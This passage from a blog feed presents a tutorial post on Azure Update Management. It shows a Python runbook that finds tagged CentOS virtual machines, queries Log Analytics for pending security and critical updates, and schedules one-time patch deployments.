            <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="n">s</span><span class="p">)</span></code></pre></figure>]]></content><author><name>Molx32</name></author><category term="updatemanagement"/><summary type="html"><![CDATA[This post is describes the architecture of the solution]]></summary></entry><entry><title type="html">Azure Update Management - Part 8 - Security patches on CentOS machines!</title><link href="https://cyber-intruder.com/blog/2023/Update-management-07/" rel="alternate" type="text/html" title="Azure Update Management - Part 8 - Security patches on CentOS machines!"/><published>2023-02-16T11:00:00+01:00</published><updated>2023-02-16T11:00:00+01:00</updated><id>https://cyber-intruder.com/blog/2023/Update-management-07</id><content type="html" xml:base="https://cyber-intruder.com/blog/2023/Update-management-07/"><![CDATA[<p><i>Hello there, the goal of this serie is to describe a real world implementation of <b>Azure Update Management</b>. This service was designed to update any machine in your infrastructure, whether they are hosted on Azure or elsewhere, provided your OSs are technically supported.</i></p> <p><i>In order for every reader to understand and find answers to their need, to I’ll try to give a comprehensive feedback from my experience, as well as sharing tips about design and architecture, automation, effectivement, troubleshooting issues, and so on!</i></p> <p><i>Have a nice reading.</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="/blog/2022/Update-management-00/">Part 0 - Introduction</a></li> <li><a href="/blog/2022/Update-management-01/">Part 1 - Architecture</a></li> <li><a href="/blog/2022/Update-management-011/">Part 2 - Azure Policy</a></li> <li><a href="/blog/2022/Update-management-02/">Part 3 - Azure ARC</a></li> <li><a href="/blog/2022/Update-management-03/">Part 4 - Log Analytics agents</a></li> <li><a href="/blog/2023/Update-management-04/">Part 5 - Automation accounts</a></li> <li><a href="/blog/2023/Update-management-05/">Part 6 - Monitoring</a></li> <li><a href="/blog/2023/Update-management-06/">Part 7 - Security patches on Azure ARC</a></li> <li><b><a href="/blog/2023/Update-management-07/">Part 8 - Security patches on CentOS machines (you’re here)</a></b></li> </ul> <hr/> <h2 id="introduction">Introduction</h2> <p>In the previous posts, we saw how to dynamically patch both Azure VMs and Azure ARC VMs. However, as mentionned before, there is an issue with CentOS VMs : we can’t apply security and critical patches only, which can be a serious problem in a production environment (e.g. service disruption after update). Let’s see why we encounter this issue, and of course how to bypass it!</p> <h2 id="context">Context</h2> <p>If you have CentOS machines, you probably faced issues when trying to apply <b>security</b> updates : a <code class="language-plaintext highlighter-rouge">yum update</code> may crash your applications because it does not apply security-only updates, while <code class="language-plaintext highlighter-rouge">yum update --security</code> won’t update any package because it relies on packages metadata, which are not set for CentOS packages. Alternatively, you could allow only security repositories, but this implies additional maintenance when installing non-security related stuff on your machines.</p> <p>When using Azure Automation Update solution, the issue remains. If you take a look at the <a href="https://learn.microsoft.com/en-us/azure/automation/update-management/overview#logic-for-linux-updates-classification">Microsoft documentation</a>, you’ll see that <i>Update Management classifies updates into three categories: <b>Security</b>, <b>Critical</b> or <b>Others</b></i>. This is fine, but you will also read that <i>Unlike other distributions, CentOS does not have classification data available from the package manager. If you have CentOS machines configured to return security data for the following command, Update Management can patch based on classifications.</i> The command to test is shown below, and does not return anything by default. This is a real problem because in order for this command to work, you need to add metadata to packages yourself, or usually pay for a service that does it.</p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">sudo </span>yum <span class="nt">-q</span> <span class="nt">--security</span> check-update</code></pre></figure> <p>When observing what I just described for the first time, I couldn’t believe it! There are not native nor simple solution to setup security updates on CentOS.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/centos_1.gif-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/centos_1.gif-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/centos_1.gif-1400.webp"/> <img src="/assets/img/centos_1.gif" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <h2 id="architecture">Architecture</h2> <p>A short word about the architecture : if you took a look at my previous posts, you may remember the architecture split by environment at the subscription level, and split by CSP at the resource group level. As you can see on the scheme below, we will have one script per CSP, because we didn’t want to have a single script to handle all of our Azure ARC VMs, especially because we wanted an automation account to have write permissions on itself only, and not on other automation accounts.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/centos_4-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/centos_4-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/centos_4-1400.webp"/> <img src="/assets/img/centos_4.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <h2 id="solution">Solution</h2> <p>Of course, the reason I wrote this post is that I spent some time working on it, and I have a solution! To make it short, the solution is to periodically run a smart script, once a week, that you can deploy in an Azure Runbook. This script will create deployement schedules for each CentOS machine that needs security updates or critical updates. Simple right?</p> <p>To be more specific, I actually wrote two very similar scripts : one for Azure VMs, the other for Azure ARC VMs. Why? Because writing a single script didn’t match my architecture, but you could merge them in a single script.</p> <p>In any case, the script behavior remains the same and checks that all VMs match the two following criteria.</p> <ul> <li>The machine must be a CentOS machine;</li> <li>The machine must be tagged with a valid <b>patch</b> tag. If a VM doesn’t comply, it won’t be patched.</li> </ul> <p>An additional word about tags : in my case, we defined a tag policy in order for machines to be updated each week on a specific schedule. Here is the tag pattern : <b>^CENTOS-[PQR]-(MON|TUE|WED|THU|FRI|SAT|SUN)-(03|12|22):00$</b>.</p> <ul> <li><code class="language-plaintext highlighter-rouge">[PQR]</code> is for the environment : P for Production, Q for Qualif, R for Recette. Basically, if we run the script in a production environment, machines containing the <b>P-</b> prefix will be updated, the others being ignored.</li> <li><code class="language-plaintext highlighter-rouge">(MON|TUE|WED|THU|FRI|SAT|SUN)</code> is for the day of the week when the machine must be updated.</li> <li><code class="language-plaintext highlighter-rouge">(03|12|22):00</code> is for the hour when to update the machine.</li> </ul> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/centos_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/centos_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/centos_2-1400.webp"/> <img src="/assets/img/centos_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <h3 id="solution-for-azure-arc-vms">Solution for Azure ARC VMs</h3> <h4 id="step-1---iterate-over-all-machines">Step 1 - Iterate over all machines</h4> <p>First of all, we need to import a lot of Azure dependencies, because our script will use the Azure Python SDK to manage our machines. If you decide to run this code in a runbook, take a look at the <a href="https://learn.microsoft.com/en-us/azure/automation/python-3-packages?tabs=py3">Microsoft documentation</a> to upload Python libraries. Additionally, you will find documentation references if you need additional information.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/env python3
################################################################################################################################
# MS API Docs - Automation account
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.automationclient
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.operations.softwareupdateconfigurationsoperations
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.models.softwareupdateconfiguration
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.models.scheduleproperties
# https://docs.microsoft.com/en-us/python/api/azure-mgmt-automation/azure.mgmt.automation.models.updateconfiguration
</span>
<span class="c1"># MS API Docs - Log analytics
# https://docs.microsoft.com/en-us/python/api/overview/azure/monitor-query-readme?view=azure-python
# https://jihanjeeth.medium.com/log-retrieval-from-azure-log-analytics-using-python-52e8e8e5e870
################################################################################################################################
</span>
<span class="c1"># Azure packages
</span><span class="kn">from</span> <span class="n">azure.identity</span> <span class="kn">import</span> <span class="n">DefaultAzureCredential</span>
<span class="kn">from</span> <span class="n">azure.mgmt.automation</span> <span class="kn">import</span> <span class="n">AutomationClient</span>
<span class="kn">from</span> <span class="n">azure.mgmt.automation.models</span> <span class="kn">import</span> <span class="n">NonAzureQueryProperties</span><span class="p">,</span> <span class="n">ScheduleCreateOrUpdateParameters</span><span class="p">,</span> <span class="n">ScheduleFrequency</span><span class="p">,</span> <span class="n">SoftwareUpdateConfiguration</span><span class="p">,</span> <span class="n">UpdateConfiguration</span><span class="p">,</span> <span class="n">ScheduleProperties</span><span class="p">,</span> <span class="n">LinuxProperties</span><span class="p">,</span> <span class="n">LinuxUpdateClasses</span><span class="p">,</span> <span class="n">OperatingSystemType</span>
<span class="kn">from</span> <span class="n">azure.mgmt.loganalytics</span> <span class="kn">import</span> <span class="n">LogAnalyticsManagementClient</span>
<span class="kn">from</span> <span class="n">azure.mgmt.compute</span> <span class="kn">import</span> <span class="n">ComputeManagementClient</span>
<span class="kn">from</span> <span class="n">azure.loganalytics</span> <span class="kn">import</span> <span class="n">LogAnalyticsDataClient</span>
<span class="kn">from</span> <span class="n">azure.loganalytics.models</span> <span class="kn">import</span> <span class="n">QueryBody</span>
<span class="kn">from</span> <span class="n">azure.monitor.query</span> <span class="kn">import</span> <span class="n">LogsQueryClient</span><span class="p">,</span> <span class="n">LogsQueryStatus</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">import</span> <span class="n">automationassets</span>
<span class="kn">from</span> <span class="n">automationassets</span> <span class="kn">import</span> <span class="n">AutomationAssetNotFound</span>
<span class="kn">from</span> <span class="n">azure.mgmt.subscription</span> <span class="kn">import</span> <span class="n">SubscriptionClient</span>

<span class="c1"># Various packages
</span><span class="kn">import</span> <span class="n">pandas</span> <span class="k">as</span> <span class="n">pd</span>

<span class="c1"># System packages
</span><span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">pytz</span></code></pre></figure> <p>In this next piece of code, we load values from the Automation Account variables. In order to set these variables in automation accounts, check the <a href="https://learn.microsoft.com/en-us/azure/automation/shared-resources/variables?tabs=azure-powershell">Microsoft documentation</a>. Here, variables are the current automation account name, its resource group and its subscription. I guess there may be some dynamic function to retrieve this values from the runbook, but we decided to explicitly declare them in variables.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#####################################################################################
# 0. GET AUTOMATION ACCOUNT VARIABLES
</span><span class="n">automation_account_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">aa_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">resource_group_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">resource_group_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">subscription_id</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">subscription_id</span><span class="sh">"</span><span class="p">)</span></code></pre></figure> <p>Here, we create credentials using the DefaultAzureCredential() function, which will use the automation account managed identity to make the APIs calls. We will see later which permissions should be configured on the automation account. Then, we instanciate different clients to communicate with the Azure API.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1"># Instanciate all clients
</span><span class="n">token_credential</span> <span class="o">=</span> <span class="nc">DefaultAzureCredential</span><span class="p">()</span>
<span class="n">automation_client</span> <span class="o">=</span> <span class="nc">AutomationClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>
<span class="n">log_analytics_client</span> <span class="o">=</span> <span class="nc">LogAnalyticsManagementClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>
<span class="n">log_analytics_data_client</span> <span class="o">=</span> <span class="nc">LogsQueryClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">)</span>
<span class="n">subscriptions_client</span> <span class="o">=</span> <span class="nc">SubscriptionClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">)</span></code></pre></figure> <p>This next piece of code shows two variables that will be used later in the code. <b>DAYS</b> will be used to find the next available schedule to update the machine. The <b>regex</b> will be used to evaluate machines tags: as seen earlier, the pattern differs, based on the production or non production environment.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">DAYS</span> <span class="o">=</span> <span class="p">{</span>
	<span class="sh">"</span><span class="s">MON</span><span class="sh">"</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">TUE</span><span class="sh">"</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">WED</span><span class="sh">"</span><span class="p">:</span><span class="mi">2</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">THU</span><span class="sh">"</span><span class="p">:</span><span class="mi">3</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">FRI</span><span class="sh">"</span><span class="p">:</span><span class="mi">4</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">SAT</span><span class="sh">"</span><span class="p">:</span><span class="mi">5</span><span class="p">,</span>
	<span class="sh">"</span><span class="s">SUN</span><span class="sh">"</span><span class="p">:</span><span class="mi">6</span>
<span class="p">}</span>
<span class="c1"># Match only non prod machines
</span><span class="n">regex</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nf">compile</span><span class="p">(</span><span class="sh">"</span><span class="s">^CENTOS-[RQ]-(MON|TUE|WED|THU|FRI|SAT|SUN)-(03|12|22):00$</span><span class="sh">"</span><span class="p">)</span>
<span class="c1"># Match only prod machines
# regex = re.compile("^CENTOS-[P]-(MON|TUE|WED|THU|FRI|SAT|SUN)-(03|12|22):00$")</span></code></pre></figure> <p>Ok, here begins the interesting part : we iterate over all susbcriptions, and for each subscription, we iterate over all Azure VMs (there is a small variation for Azure ARC VMs, I’ll discuss this later). In this double loop, we ensure the <b>patch</b> tag is compliant with what we defined, and we also ensure that the VM is a CentOS VM. <u>Note</u> : when checking the OS, we need to check both custom OS and Azure-provided OS.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">###############################################################
# 1. GET AND SANITIZE ALL CENTOS VMs THAT NEED TO BE PATCHED
# 	 First, we check that the 'patch' tag is compliant
# 	 Then, We check that the OS is indeed CentOS
</span>
<span class="n">centOSs</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">subscription</span> <span class="ow">in</span> <span class="n">subscriptions_client</span><span class="p">.</span><span class="n">subscriptions</span><span class="p">.</span><span class="nf">list</span><span class="p">():</span>
	<span class="n">compute_management_client</span> <span class="o">=</span> <span class="nc">ComputeManagementClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription</span><span class="p">.</span><span class="n">subscription_id</span><span class="p">)</span>
	<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">compute_management_client</span><span class="p">.</span><span class="n">virtual_machines</span><span class="p">.</span><span class="nf">list_all</span><span class="p">():</span>
		<span class="c1"># Check PATCH value
</span>		<span class="k">if</span> <span class="ow">not</span> <span class="n">item</span><span class="p">.</span><span class="n">tags</span> <span class="ow">or</span> <span class="ow">not</span> <span class="sh">'</span><span class="s">patch</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">item</span><span class="p">.</span><span class="n">tags</span><span class="p">.</span><span class="nf">keys</span><span class="p">():</span>
			<span class="k">continue</span>
		<span class="k">if</span> <span class="ow">not</span> <span class="n">regex</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="n">item</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">]):</span>
			<span class="k">continue</span>

		<span class="c1"># Check OS value
</span>		<span class="k">if</span> <span class="n">item</span><span class="p">.</span><span class="n">storage_profile</span><span class="p">.</span><span class="n">image_reference</span><span class="p">:</span>
			<span class="c1"># Check when OS is custom
</span>			<span class="k">if</span> <span class="n">item</span><span class="p">.</span><span class="n">storage_profile</span><span class="p">.</span><span class="n">image_reference</span><span class="p">.</span><span class="nb">id</span> <span class="ow">and</span> <span class="sh">"</span><span class="s">CentOS</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">item</span><span class="p">.</span><span class="n">storage_profile</span><span class="p">.</span><span class="n">image_reference</span><span class="p">.</span><span class="nb">id</span><span class="p">:</span>
				<span class="n">centOSs</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
			<span class="c1"># Check when OS is Azure based
</span>			<span class="k">elif</span> <span class="n">item</span><span class="p">.</span><span class="n">storage_profile</span><span class="p">.</span><span class="n">image_reference</span><span class="p">.</span><span class="n">offer</span> <span class="ow">and</span> <span class="sh">"</span><span class="s">CentOS</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">item</span><span class="p">.</span><span class="n">storage_profile</span><span class="p">.</span><span class="n">image_reference</span><span class="p">.</span><span class="n">offer</span><span class="p">:</span>
				<span class="n">centOSs</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
			<span class="k">else</span><span class="p">:</span>
				<span class="k">continue</span>
		<span class="k">else</span><span class="p">:</span>
			<span class="k">continue</span></code></pre></figure> <h4 id="step-2---retrieve-all-updates">Step 2 - Retrieve all updates</h4> <p>We now have a list of machines to update, and we need to get all available updates for each machine. For this, we send a KQL query to the Log Analytics workspaces that collects updates information : we store this in the <code class="language-plaintext highlighter-rouge">df</code> variable.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">###########################################################################
# 2. RETIEVE ALL SECURITY AND CRITICAL UPDATES NEEDED BY ALL LINUX MACHINES
# 	 All machines that are not in this table :
# 		a. Do not report to the Log Analytics =&gt; To troubleshoot
# 		b. Or do not need update =&gt; Fine
</span><span class="n">query</span> <span class="o">=</span> <span class="sh">'''</span><span class="s">Update
		| where TimeGenerated&gt;ago(5h) and OSType==</span><span class="sh">"</span><span class="s">Linux</span><span class="sh">"</span><span class="s">
		| summarize hint.strategy=partitioned arg_max(TimeGenerated, UpdateState, Classification, BulletinUrl, BulletinID) by ResourceId, Computer, SourceComputerId, Product, ProductArch
		| where UpdateState=~</span><span class="sh">"</span><span class="s">Needed</span><span class="sh">"</span><span class="s">
		| project-away UpdateState, TimeGenerated
		| summarize computersCount=dcount(SourceComputerId, 2), ClassificationWeight=max(iff(Classification has </span><span class="sh">"</span><span class="s">Critical</span><span class="sh">"</span><span class="s">, 4, iff(Classification has </span><span class="sh">"</span><span class="s">Security</span><span class="sh">"</span><span class="s">, 2, 1))) by ResourceId, Computer, id=strcat(Product, </span><span class="sh">"</span><span class="s">_</span><span class="sh">"</span><span class="s">, ProductArch), displayName=Product, productArch=ProductArch, classification=Classification, InformationId=BulletinID, InformationUrl=tostring(split(BulletinUrl, </span><span class="sh">"</span><span class="s">;</span><span class="sh">"</span><span class="s">, 0)[0]), osType=1
		| sort by ClassificationWeight desc, computersCount desc, displayName asc
		| extend informationLink=(iff(isnotempty(InformationId) and isnotempty(InformationUrl), toobject(strcat(</span><span class="sh">'</span><span class="s">{ </span><span class="sh">"</span><span class="s">uri</span><span class="sh">"</span><span class="s">: </span><span class="sh">"'</span><span class="s">, InformationUrl, </span><span class="sh">'"</span><span class="s">, </span><span class="sh">"</span><span class="s">text</span><span class="sh">"</span><span class="s">: </span><span class="sh">"'</span><span class="s">, InformationId, </span><span class="sh">'"</span><span class="s">, </span><span class="sh">"</span><span class="s">target</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">blank</span><span class="sh">"</span><span class="s"> }</span><span class="sh">'</span><span class="s">)), toobject(</span><span class="sh">''</span><span class="s">)))
		| project-away ClassificationWeight, InformationId, InformationUrl
		| where classification has </span><span class="sh">"</span><span class="s">Security</span><span class="sh">"</span><span class="s"> or classification has </span><span class="sh">"</span><span class="s">Critical</span><span class="sh">"'''</span>
<span class="n">workspace_name</span> 			<span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">linked_workspace</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">).</span><span class="nb">id</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">workspace_id</span> 			<span class="o">=</span> <span class="n">log_analytics_client</span><span class="p">.</span><span class="n">workspaces</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">workspace_name</span><span class="p">).</span><span class="n">customer_id</span>
<span class="n">workspace</span> 				<span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">linked_workspace</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">)</span>

<span class="c1"># SEND REQUEST
</span><span class="n">end_time</span>	<span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">pytz</span><span class="p">.</span><span class="nf">timezone</span><span class="p">(</span><span class="sh">"</span><span class="s">Europe/Paris</span><span class="sh">"</span><span class="p">))</span>
<span class="n">start_time</span> 	<span class="o">=</span> <span class="n">end_time</span> <span class="o">-</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">response</span> 	<span class="o">=</span> <span class="n">log_analytics_data_client</span><span class="p">.</span><span class="nf">query_workspace</span><span class="p">(</span><span class="n">workspace_id</span><span class="p">,</span> <span class="n">query</span><span class="p">,</span> <span class="n">timespan</span><span class="o">=</span><span class="p">(</span><span class="n">start_time</span><span class="p">,</span> <span class="n">end_time</span><span class="p">))</span>

<span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">status</span> <span class="o">==</span> <span class="n">LogsQueryStatus</span><span class="p">.</span><span class="n">PARTIAL</span><span class="p">:</span>
	<span class="n">error</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">partial_error</span>
	<span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">partial_data</span>
	<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">ERROR, unknown error when requesting Log Analytics</span><span class="sh">"</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">response</span><span class="p">.</span><span class="n">status</span> <span class="o">==</span> <span class="n">LogsQueryStatus</span><span class="p">.</span><span class="n">SUCCESS</span><span class="p">:</span>
	<span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">tables</span>
<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="nc">DataFrame</span><span class="p">(</span><span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">rows</span><span class="p">,</span> <span class="n">columns</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">columns</span><span class="p">)</span></code></pre></figure> <h4 id="step-3---deploy-or-update-deployment-schedules">Step 3 - Deploy or update deployment schedules</h4> <p>In this last part of the script, we iterate over our machines to update, and we check in our <code class="language-plaintext highlighter-rouge">df</code> variable if the current machine needs updates :</p> <ul> <li>if it doesn’t, then we ignore it and directly go to the next loop iteration;</li> <li>if it does, we calculate the next schedule when the machine should be updated, based on its <b>patch</b> tag, and then we instanciate the necessary objects that will create the deployment schedules in our automation account.</li> </ul> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">###########################################
# 3. ITERATE OVER OUR CENTOS :
#	Step 1 - Get needed updates
#	Step 2 - Calculate next schedule
#	Step 3 - Create the deployment schedule
</span><span class="k">for</span> <span class="n">centOS</span> <span class="ow">in</span> <span class="n">centOSs</span><span class="p">:</span>
	<span class="c1"># Step 1 - Get needed updates
</span>	<span class="n">updates</span> <span class="o">=</span> <span class="p">[]</span>
	<span class="c1"># The following line filters dataFrame to return all lines for which
</span>	<span class="c1"># the column ResourceId contains centOS.id.
</span>	<span class="c1"># Note : we convert all strings to lower() to avoid any issue
</span>	<span class="n">updates_df</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="n">df</span><span class="p">[</span><span class="sh">'</span><span class="s">ResourceId</span><span class="sh">'</span><span class="p">].</span><span class="nb">str</span><span class="p">.</span><span class="nf">lower</span><span class="p">().</span><span class="nb">str</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="n">centOS</span><span class="p">.</span><span class="nb">id</span><span class="p">.</span><span class="nf">lower</span><span class="p">())]</span>
	<span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">updates_df</span><span class="p">.</span><span class="nf">iterrows</span><span class="p">():</span>
		<span class="n">updates</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>
	<span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">updates</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
		<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">This </span><span class="sh">"</span> <span class="o">+</span> <span class="n">centOS</span><span class="p">.</span><span class="nb">id</span> <span class="o">+</span> <span class="sh">"</span><span class="s"> do not need to be patched</span><span class="sh">"</span><span class="p">)</span>
		<span class="k">continue</span>
	
	<span class="c1"># Step 2 - Calculate next schedule
</span>	<span class="c1"># Get info from tag, and get current date
</span>	<span class="n">target_day</span> <span class="o">=</span> <span class="n">DAYS</span><span class="p">[</span><span class="n">centOS</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)[</span><span class="mi">2</span><span class="p">]]</span>
	<span class="n">target_hour</span><span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">centOS</span><span class="p">.</span><span class="n">tags</span><span class="p">[</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)[</span><span class="mi">3</span><span class="p">].</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
	<span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">()</span>

	<span class="c1"># Find how many days until the next update
</span>	<span class="c1"># E.g. if the script runs SUNDAY, and we need to patch WEDNESDAY :
</span>	<span class="c1">#	SUNDAY - WEDNESDAY = 6 - 3 = 3 days
</span>	<span class="c1"># So next occurence will be the current date + 3 days.
</span>	<span class="n">days_from_now</span> <span class="o">=</span> <span class="p">(</span><span class="n">target_day</span> <span class="o">-</span> <span class="n">now</span><span class="p">.</span><span class="nf">weekday</span><span class="p">())</span> <span class="o">%</span> <span class="mi">7</span>
	<span class="n">target_date</span> <span class="o">=</span> <span class="n">now</span> <span class="o">+</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="n">days_from_now</span><span class="p">)</span>

	<span class="c1"># Modify our target date with appropriate hours, minutes and seconds
</span>	<span class="n">target_date</span> <span class="o">=</span> <span class="nf">datetime</span><span class="p">(</span><span class="n">target_date</span><span class="p">.</span><span class="n">year</span><span class="p">,</span> <span class="n">target_date</span><span class="p">.</span><span class="n">month</span><span class="p">,</span> <span class="n">target_date</span><span class="p">.</span><span class="n">day</span><span class="p">,</span> <span class="n">target_hour</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
	<span class="c1"># This conditions handles the case where days_from_now = 0
</span>	<span class="k">if</span> <span class="n">target_date</span> <span class="o">&lt;</span> <span class="n">now</span><span class="p">:</span>
		<span class="n">target_date</span> <span class="o">=</span> <span class="n">target_date</span> <span class="o">+</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">7</span><span class="p">)</span>

	<span class="c1"># Step 3 - Create the deployment schedule
</span>	<span class="n">schedule_info</span> <span class="o">=</span> <span class="nc">ScheduleProperties</span><span class="p">(</span>
		<span class="n">start_time</span> 	<span class="o">=</span> <span class="n">target_date</span><span class="p">,</span>
		<span class="n">time_zone</span> 	<span class="o">=</span> <span class="sh">"</span><span class="s">Europe/Paris</span><span class="sh">"</span><span class="p">,</span>
		<span class="n">is_enabled</span> 	<span class="o">=</span> <span class="bp">True</span><span class="p">,</span>
		<span class="n">frequency</span> 	<span class="o">=</span> <span class="n">ScheduleFrequency</span><span class="p">.</span><span class="n">ONE_TIME</span><span class="p">)</span>

	<span class="n">linux_properties</span> <span class="o">=</span> <span class="nc">LinuxProperties</span><span class="p">(</span>
		<span class="n">included_package_classifications</span>	<span class="o">=</span> <span class="bp">None</span><span class="p">,</span>
		<span class="n">included_package_name_masks</span> 		<span class="o">=</span> <span class="n">updates</span><span class="p">,</span>
